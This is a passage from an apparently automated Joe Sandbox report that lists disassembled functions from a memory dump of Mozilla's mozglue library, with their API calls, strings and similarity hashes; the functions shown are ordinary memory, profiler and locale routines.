??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB68273), ref: 6CB69D65
free.MOZGLUE(6CB68273,?), ref: 6CB69D7C
free.MOZGLUE(?,?), ref: 6CB69D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CB69E0F
free.MOZGLUE(6CB6946B,?,?), ref: 6CB69E24
free.MOZGLUE(?,?,?), ref: 6CB69E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CB69EC8
free.MOZGLUE(6CB6946B,?,?,?), ref: 6CB69EDF
free.MOZGLUE(?,?,?,?), ref: 6CB69EF5

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 30a5361076823d285af79b29dc412e336528701a4e684285de3d4aaea4550ef6
Instruction ID: 41389e72853393611b3acfe170666bca0cff8777d379d387f684a0b5dbe468cf
Opcode Fuzzy Hash: 30a5361076823d285af79b29dc412e336528701a4e684285de3d4aaea4550ef6
Instruction Fuzzy Hash: 5F7190B0909B918BD712CF19C48055BF3F5FF99325B449619E89E9BB01EB30E889CBC1

Function 6CB6DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CB6DDCF

Part of subcall function 6CB4FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB4FA4B

Part of subcall function 6CB690E0: free.MOZGLUE(?,00000000,?,?,6CB6DEDB), ref: 6CB690FF
Part of subcall function 6CB690E0: free.MOZGLUE(?,00000000,?,?,6CB6DEDB), ref: 6CB69108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB6DE0D
free.MOZGLUE(00000000), ref: 6CB6DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB6DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB6DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB6DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CB5DEFD,?,6CB24A68), ref: 6CB6DF32

Part of subcall function 6CB6DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB6DB86
Part of subcall function 6CB6DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB6DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CB5DEFD,?,6CB24A68), ref: 6CB6DF65
free.MOZGLUE(?), ref: 6CB6DF80

Part of subcall function 6CB35E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB35EDB
Part of subcall function 6CB35E90: memset.VCRUNTIME140(6CB77765,000000E5,55CCCCCC), ref: 6CB35F27
Part of subcall function 6CB35E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB35FB2

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: dcf402112454b17578e6e141bffa8ab300557fee8d63e5d9a57639dcdc895d11
Instruction ID: 5e65f3c71178fc7bf90944369a80730a0bd79b89c8cff35ff607f68acfc97654
Opcode Fuzzy Hash: dcf402112454b17578e6e141bffa8ab300557fee8d63e5d9a57639dcdc895d11
Instruction Fuzzy Hash: 2F51C8766016909BDB119F3AE8806AEB376FF92308FA6051CD55A53F00DB31F919CB93

Function 6CB75D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CB75C8C,?,6CB4E829), ref: 6CB75D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CB75C8C,?,6CB4E829), ref: 6CB75D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CB75C8C,?,6CB4E829), ref: 6CB75D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CB75C8C,?,6CB4E829), ref: 6CB75D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CB75C8C,?,6CB4E829), ref: 6CB75DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CB75C8C,?,6CB4E829), ref: 6CB75DC9
std::_Facet_Register.LIBCPMT ref: 6CB75DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CB75C8C,?,6CB4E829), ref: 6CB75E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CB75C8C,?,6CB4E829), ref: 6CB75E45

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 7da3f451bb2198e28c094b4b263db4f2ea260ac2ae6ae475498409d347c4f781
Instruction ID: 60bfe23763138e6bda81b84d288c80cc61fe5ca55e341712c6c01c8d98768b3e
Opcode Fuzzy Hash: 7da3f451bb2198e28c094b4b263db4f2ea260ac2ae6ae475498409d347c4f781
Instruction Fuzzy Hash: 81418E707002549FDB20DFA5C998EAE77B9EF89314F144068E91A9B791EB30EC09CB65

Function 6CB4CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CB131A7), ref: 6CB4CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CB4CFA4, 6CB4CFB8
<jemalloc>, xrefs: 6CB4CF9F, 6CB4CFB3

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 4e0c4d1b3fafb450bab39631600040e918b16a54d1e1fbaf4869492ca687d120
Instruction ID: 5a14016769177ebf219bb7755f96e0ec9602d628f20a119454bc95da3d9d5dc3
Opcode Fuzzy Hash: 4e0c4d1b3fafb450bab39631600040e918b16a54d1e1fbaf4869492ca687d120
Instruction Fuzzy Hash: 6531C8317882955BEF10AF658C45FAE7B75FB42F58F308014F611ABA84DB74E4089B92

Function 6CB1ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB1F100: LoadLibraryW.KERNEL32(shell32,?,6CB8D020), ref: 6CB1F122
Part of subcall function 6CB1F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CB1F132

moz_xmalloc.MOZGLUE(00000012), ref: 6CB1ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB1EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CB1EDCC
CreateFileW.KERNEL32 ref: 6CB1EE08
free.MOZGLUE(00000000), ref: 6CB1EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CB1EE32

Part of subcall function 6CB1EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CB1EBB5
Part of subcall function 6CB1EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CB4D7F3), ref: 6CB1EBC3
Part of subcall function 6CB1EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CB4D7F3), ref: 6CB1EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CB1EDC1

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 8f3009236b512a99536cf7e78c7c7a3e572618e0e342c40481f0a12388affd00
Instruction ID: fd3302b1305883192ea2e6a24b3693b22a10004df9f27f51bc841f3b01ee97ef
Opcode Fuzzy Hash: 8f3009236b512a99536cf7e78c7c7a3e572618e0e342c40481f0a12388affd00
Instruction Fuzzy Hash: 9E51C272D092D48BDB00DF68C8486EEB7B0EF4A318F44852DE85567F40E7306948C7E2

Function 6CB8A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB8A565

Part of subcall function 6CB8A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB8A4BE
Part of subcall function 6CB8A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB8A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB8A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CB8A6B6

Strings

z, xrefs: 6CB8A6AE
0, xrefs: 6CB8A5FB

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 40cc97a0530cf0ea254f103477c349a2ed770db20575fcad5d13a1c6fe9e6f8b
Instruction ID: 066584c9042e77f6b3d847cb82853f40276032aadcd68800f66ef482ba3f88ea
Opcode Fuzzy Hash: 40cc97a0530cf0ea254f103477c349a2ed770db20575fcad5d13a1c6fe9e6f8b
Instruction Fuzzy Hash: 024116719097859FC341DF28C080A8FBBE5BF89354F408A2EF49987694EB30E549CB83

Function 6CB178C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6CB9008B), ref: 6CB17B89
free.MOZGLUE(?,6CB9008B), ref: 6CB17BAC

Part of subcall function 6CB178C0: free.MOZGLUE(?,6CB9008B), ref: 6CB17BCF

free.MOZGLUE(?,6CB9008B), ref: 6CB17BF2

Part of subcall function 6CB35E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB35EDB
Part of subcall function 6CB35E90: memset.VCRUNTIME140(6CB77765,000000E5,55CCCCCC), ref: 6CB35F27
Part of subcall function 6CB35E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB35FB2

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: b042163a44b7dbae754bff0d8f5f178ab42e38a5f28d9321cee44438aa219a62
Instruction ID: 40254f2d82405fa63faf96e81ffb709d175d5a1423eb0764318f0947124e255b
Opcode Fuzzy Hash: b042163a44b7dbae754bff0d8f5f178ab42e38a5f28d9321cee44438aa219a62
Instruction Fuzzy Hash: 4FC1A471E091688BEB248B68CC90B9DB772AF41318F1503A9D41AF7FC0C7719E898B52

Function 6CB59420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CB4AB89: EnterCriticalSection.KERNEL32(6CB9E370,?,?,?,6CB134DE,6CB9F6CC,?,?,?,?,?,?,?,6CB13284), ref: 6CB4AB94
Part of subcall function 6CB4AB89: LeaveCriticalSection.KERNEL32(6CB9E370,?,6CB134DE,6CB9F6CC,?,?,?,?,?,?,?,6CB13284,?,?,6CB356F6), ref: 6CB4ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB24A68), ref: 6CB5945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB59470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB59482
__Init_thread_footer.LIBCMT ref: 6CB5949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CB5946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CB5947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CB59459

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: ec70bd2ace768845b823138c2e5862738d0fd45edb092bfa10edebf337df4ae3
Instruction ID: c0ade2a18fc3efdbf50f61247b57f1429ab3295af1cf522dbe647b2871b0732f
Opcode Fuzzy Hash: ec70bd2ace768845b823138c2e5862738d0fd45edb092bfa10edebf337df4ae3
Instruction Fuzzy Hash: 3501FCB4E0018187DB109F6DDA11A8A337AEB07338F084537FD0687B41D635DC768A57

Function 6CB60F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB60F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB60F88
GetCurrentThreadId.KERNEL32 ref: 6CB60FF7
InitializeConditionVariable.KERNEL32(?), ref: 6CB61067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6CB610A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6CB6114B

Part of subcall function 6CB58AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CB71563), ref: 6CB58BD5

free.MOZGLUE(?), ref: 6CB61174
free.MOZGLUE(?), ref: 6CB61186

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 77152553558a1ed91e3596dfafc7036682b79bf00d0e6da5d38d97dd79f6141f
Instruction ID: b4ced729176a609c3370ac89441413bc55f9cf7df4d8f32ab2489a4f464c6bf6
Opcode Fuzzy Hash: 77152553558a1ed91e3596dfafc7036682b79bf00d0e6da5d38d97dd79f6141f
Instruction Fuzzy Hash: 39618D756043809BDB10CF26D98079EB7F5BFD6308F04891DE98957B11EB31E549CB82

Function 6CB1B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CB1B61E,?,?,?,?,?,00000000), ref: 6CB1B6AC

Part of subcall function 6CB2CA10: malloc.MOZGLUE(?), ref: 6CB2CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CB1B61E,?,?,?,?,?,00000000), ref: 6CB1B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CB1B61E,?,?,?,?,?,00000000), ref: 6CB1B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CB1B61E,?,?,?,?,?,00000000), ref: 6CB1B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CB1B61E,?,?,?,?,?,00000000), ref: 6CB1B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CB1B61E), ref: 6CB1B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CB1B61E,?,?,?,?,?,00000000), ref: 6CB1B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CB1B61E,?,?,?,?,?,00000000), ref: 6CB1B79A

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 6ca550d78f059591066b5efbcb2b5ddece667d23e60e3035f651227d30f1b589
Instruction ID: 9a12c7cb68f2e1a9bd9a251edd8270292f4ceb0146ccf6c433e6184263a5990d
Opcode Fuzzy Hash: 6ca550d78f059591066b5efbcb2b5ddece667d23e60e3035f651227d30f1b589
Instruction Fuzzy Hash: B741D3F2D041558FCB04DF68DC80AAFB7B5FB65324F250629E825E7B80E731A9048BE1

Function 6CB1EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6CB95104), ref: 6CB1EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CB1EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB1EFEC
free.MOZGLUE(?), ref: 6CB1F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CB1F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6CB1F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB1F065
moz_xmalloc.MOZGLUE ref: 6CB1F072

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: b26eb559ad18281a03ec189b84423e6396e732ca8d8bbf6612494556d4a99d97
Instruction ID: 895bbb4931e725e88b86b67e6df7b1ca744e00a3f58c498d782d35288e5e8192
Opcode Fuzzy Hash: b26eb559ad18281a03ec189b84423e6396e732ca8d8bbf6612494556d4a99d97
Instruction Fuzzy Hash: 184124B1A042459FDB08CF68D8849BF7369FF95324B24022CE916DBB94EB31E915C7E1

Function 6CB8B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CB8B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CB8B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CB8B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CB8B5F4
__Init_thread_footer.LIBCMT ref: 6CB8B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CB8B61F
std::_Facet_Register.LIBCPMT ref: 6CB8B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB8B655

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 273901531c359958d83fdbe24d92cea891f0af4c16bd654ae4690c128c942c9d
Instruction ID: d908c26e48d42e9d4989e78a9f5fabc50b41f1bd59b010c69bc545789d521ec2
Opcode Fuzzy Hash: 273901531c359958d83fdbe24d92cea891f0af4c16bd654ae4690c128c942c9d
Instruction Fuzzy Hash: 0331AF71B00254CBCF10DFA9C9989AEB7B5FF8B324B140569E90697790DB30A906CF92

Function 6CB29830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6CB77ABE), ref: 6CB2985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6CB77ABE), ref: 6CB298A8
moz_xmalloc.MOZGLUE(00000020), ref: 6CB29909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6CB29918
free.MOZGLUE(?), ref: 6CB29975

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 907ef4198a24b5932fa1c0d4878635d7cd204589d5a2e9c2cc5e5fd836c0c11e
Instruction ID: d87f3a728498a0e03e40a4a170ce60d0e4981d4264a3e62497ea700216295a34
Opcode Fuzzy Hash: 907ef4198a24b5932fa1c0d4878635d7cd204589d5a2e9c2cc5e5fd836c0c11e
Instruction Fuzzy Hash: 347189B4A007458FC725CF28C480A66B7F1FF4A3247244AA9E85E8BBA0D775F845CB91

Function 6CB2B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CB6CC83,?,?,?,?,?,?,?,?,?,6CB6BCAE,?,?,6CB5DC2C), ref: 6CB2B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CB6CC83,?,?,?,?,?,?,?,?,?,6CB6BCAE,?,?,6CB5DC2C), ref: 6CB2B80C
